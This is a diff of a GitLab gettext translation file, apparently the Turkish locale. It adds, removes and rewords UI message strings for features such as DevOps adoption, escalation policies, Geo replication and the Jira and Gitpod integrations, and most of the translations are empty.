-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr "İki adımlı doğrulamayı devre dışı bırakın"
msgid "Disabled"
msgstr "Devre dışı"
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr "Discord Bildirimleri"
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr "BitiÅŸ tarihi"
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr "Son 30 işlemin süresi"
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr "Genel dağıtım anahtarını düzenle"
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr "Aşamayı düzenle"
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,15 +12118,15 @@ msgstr ""
msgid "Embed"
msgstr ""
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr "BoÅŸ dosya"
msgid "Enable"
msgstr "EtkinleÅŸtir"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr ""
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr "Klavye kısayollarını etkinleştir veya devre dışı bırak"
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr "Vekiller kaydedilirken bir hata oluÅŸtu"
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "Bildirim aboneliÄŸini deÄŸiÅŸtirirken bir sorun meydana geldi"
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr "Tahmini"
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr "Her iki haftada bir"
msgid "Every week"
-msgstr "Her hafta"
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr "Her hafta (%{weekday} saat %{time})"
@@ -13663,6 +13826,9 @@ msgstr "Özellik Bayrağı"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr "Özellik bayraklarını kullanmaya başlayın"
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr "Daha fazla bilgi"
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr "Yeni özellik bayrağı"
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr "Hedef ortamlar"
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr "Düzeltildi:"
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr "Proje çatallansın mı?"
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Buradan çatallandı:"
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr "Asla"
msgid "Geo|Next sync scheduled at"
msgstr "Sonraki senkronizasyon planlandı"
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "Bilinmeyen konum"
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr "HTTPS'e zorla (geçerli sertifikalar gerektirir)"
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr "Tam ekrana git"
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr "Ä°ÅŸlemlere git"
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr "Projeye git"
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr "Aramanızı genişletmek için süzgeçleri değiştirin veya kaldırın; %{startDate} - %{endDate}."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,23 +16177,32 @@ msgstr "Grup bulunamadı"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
-msgstr "OluÅŸtur"
-
msgid "GroupsNew|Create group"
msgstr "Grup oluÅŸtur"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
+msgstr ""
+
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
-msgstr "İçe aktar"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
+msgstr ""
msgid "GroupsNew|Import group"
msgstr "Grubu içe aktar"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr "Yükü gizle"
msgid "Hide shared projects"
msgstr "Paylaşılan projeleri gizle"
-msgid "Hide stage"
-msgstr "Aşamayı gizle"
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "DeÄŸeri gizle"
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "Geçmiş"
@@ -16306,9 +16544,24 @@ msgstr "Åžifremi unuttum"
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr "Let's Encrypt %{link_start}Hizmet Şartları%{link_end}nı okudum ve kabul ediyorum (PDF)"
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "Geri"
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr "%{hours} saat, %{minutes} dakika kaldı"
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr "%{minutes} mdakika kaldı"
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr "Tümü"
@@ -17116,6 +17405,9 @@ msgstr "Düşük - S4"
msgid "IncidentManagement|Medium - S3"
msgstr "Orta - S3"
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr "Sorun Panoları"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr "Panoyu deÄŸiÅŸtir"
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr "Sorunlar kapalı"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
